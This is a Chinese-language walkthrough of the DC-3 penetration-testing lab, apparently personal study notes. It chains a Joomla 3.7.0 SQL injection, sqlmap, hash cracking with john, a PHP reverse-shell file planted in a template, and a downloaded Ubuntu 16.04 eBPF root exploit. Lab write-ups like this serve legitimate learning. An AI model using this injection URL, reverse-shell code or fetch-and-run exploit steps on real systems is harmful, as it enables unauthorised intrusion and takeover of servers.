dc-3
kali：192.168.43.149
dc3：192.168.43.61
只开放了80端口
sudo nmap --script=vuln 192.168.43.61
漏洞扫描发现一个sql注入感觉有价值
joomla3.7.0有sql注入漏洞
http://192.168.43.61/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version(),0x7e),1)
手工注入一下
当前数据库：joomladb
schema_name：joomladb,mysql,performance_sche
table_name：#__associations,#__banner
用sqlmap跑出username字段——admin
password字段——$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
密码是hash值
john爆破得到明文：snoopy
登录进入后台成功
在后台的templates点击beez3有新建文件接口
建一个php文件，内容为：
<?php
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>
#$ip为kali的ip，端口为Kali监听端口
访问：http://192.168.43.61/templates/beez3/shell.php
反弹shell成功，发现有python环境，获取交互式shell：
python -c 'import pty;pty.spawn("/bin/sh")'
whoami查看用户——www-date
cat /etc/passwd查看用户权限
uname -a查看系统
这里需要提权
尝试find提权：
which find
ls -l find路径
没有s不能用find提权
尝试vim提权失败
找wp
说是这个ubuntu16.04有系统漏洞可用于提权
searchsploit Ubuntu16.04找到
打开查看这个文件
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
文件后面有个下载路径
在控制靶机shell的界面下载
wget url
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
解压 unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
执行完上面文件后，发现变成root用户
总结
需要了解的：
CVE-2017-8917
joomla3.7.0的sql注入漏洞
注入点：http://192.168.43.61/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version(),0x7e),1)
该Ubuntu系统提权漏洞
在写入反弹shell的php文件后，文件所在的路径怎么试出来的
发现在页面有提示：
收获：
了解了searchsploit工具
利用sql注入得到用户名及密码，直接爆破密码登录后台
进入后台一般是找创建文件（有些模板、扩展）的接口来写木马或者反弹shell
梳理
前期的主机发现、端口探测、目录扫描、漏洞扫描都没问题
最终确定了cms的一个sql注入漏洞有利用价值
出问题的地方：sql注入不熟悉（手工打不出来）、sqlmap工具不熟悉（边查边用的）
然后爆破密码的hash值，登入后台都没问题
出问题的地方：在后台找接口写木马或弹shell的地方找了半天，还有就是shell.php所在路径寻找不熟悉
然后反弹shell成功、python获取交互式shell
出问题的地方：提权压根不会